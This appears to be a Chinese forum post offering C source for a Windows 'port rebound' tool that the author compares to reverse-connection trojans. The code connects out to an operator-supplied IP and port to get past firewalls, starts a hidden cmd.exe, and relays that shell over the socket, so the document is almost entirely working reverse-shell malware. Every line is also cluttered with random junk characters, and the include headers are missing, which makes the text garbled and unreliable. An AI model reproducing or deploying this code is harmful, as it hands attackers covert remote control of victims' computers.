Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 v Ma$JPauI  
kgmb<4p  
/* ============================== =g@hh)3wP  
Rebound port in Windows NT @izS_I,  
By wind,2006/7 ";0-9*I  
===============================*/ &E k\  
#include wAb_fU&*  
#include y7*^H  
|("5 :m  
#pragma comment(lib,"wsock32.lib") hW cM.  
ER$~kFE2yP  
void OutputShell(); Q([g1?F9*  
SOCKET sClient; T?5F0WKi  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `+r5I5  
',RR*{I  
void main(int argc,char **argv) oWOH#w  
{ z#&qWO  
WSADATA stWsaData; \}qv}hU  
int nRet; ~u-`L+G"6  
SOCKADDR_IN stSaiClient,stSaiServer; h"nv[0!)  
\@n/L{}(@  
if(argc != 3) |@)ij c4i  
{ bL
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printf("Useage:\n\rRebound DestIP DestPort\n"); w@f_TG"Vt  
return; zjJyc?  
} }W%}_UT  
U(qM( E  
WSAStartup(MAKEWORD(2,2),&stWsaData); ==j39  
UuA=qWC  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y.Ew;\6U  
8%U)EU  
stSaiClient.sin_family = AF_INET;
3?/}  
stSaiClient.sin_port = htons(0); |y=D^NTG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #$fFp  
cKy%0oTla  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |b7>kM}"  
{ 7~`6~qg.  
printf("Bind Socket Failed!\n"); ae1fCw3k  
return; I`KN8ll  
} 9p$q@Bc  

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stSaiServer.sin_family = AF_INET; &q` =xF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o_$r*Z|HG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  L_Ai/'
 
qC|re!K  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $S cjEG:6  
{ d ly 0874  
printf("Connect Error!"); Ip1Qm
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return; ;[zx'e?!  
} ;NPb  
OutputShell(); %r,2ZLZ  
} *'t`;m~  
}&naP  
void OutputShell() KJkcmF}Q  
{ @',;/j80  
char szBuff[1024]; K|1^?#n  
SECURITY_ATTRIBUTES stSecurityAttributes; <?n
r"V  
OSVERSIONINFO stOsversionInfo; /iQ>he~fy  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bKaV]Uy  
STARTUPINFO stStartupInfo; SO&;]YO  
char *szShell; EX5kF  
PROCESS_INFORMATION stProcessInformation; ?%0i,p@<  
unsigned long lBytesRead; "7 4L  
]V]o%onW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,^,J[F  
bU,&|K/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BPOWo8TqD^  
stSecurityAttributes.lpSecurityDescriptor = 0; &]c9}Ic  
stSecurityAttributes.bInheritHandle = TRUE; dCyQCA[  
*:_hOOT+[  
f3h9CV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nb!m>0*/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CUd'*Ewu  
V7v,)a" L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |3cR'|<Ual  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )T+htD)  
stStartupInfo.wShowWindow = SW_HIDE; _0`O}  
stStartupInfo.hStdInput = hReadPipe; .lnD]Q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O&0R ~<n  
[(K^x?\Y0'  
GetVersionEx(&stOsversionInfo); fjJIF%  
*Ee# x!O  
switch(stOsversionInfo.dwPlatformId) %qv7;E2C  
{ 87/{\h  
case 1: ZqGq%8\.s  
szShell = "command.com"; cK } Qu  
break; vNt2s)J$  
default: =@f;s<v/  
szShell = "cmd.exe"; 0&-sz=L  
break; #,;k>2j0  
} ouI0"R&@  
M;bQid@BG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BW;u?1Xa  
5f5`7uVJF  
send(sClient,szMsg,77,0); uQNoIy J)  
while(1) d
A~6{*)  
{ h 2zCX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sOW|TN>y\  
if(lBytesRead) q.t5L=l^ r  
{ mB~&nDU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); PrcM'Q  
send(sClient,szBuff,lBytesRead,0); v]!7=>/2  
} J5"*OH:f  
else *$1)&2i  
{ 5%$#3LT|  
lBytesRead=recv(sClient,szBuff,1024,0); 3WYW])  
if(lBytesRead<=0) break; m}E$6E^~O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); koU.`l.  
} td~3N,S  
} #]'xUgcE9  
g/J!U8W"  
return; @wPmx*SF  
}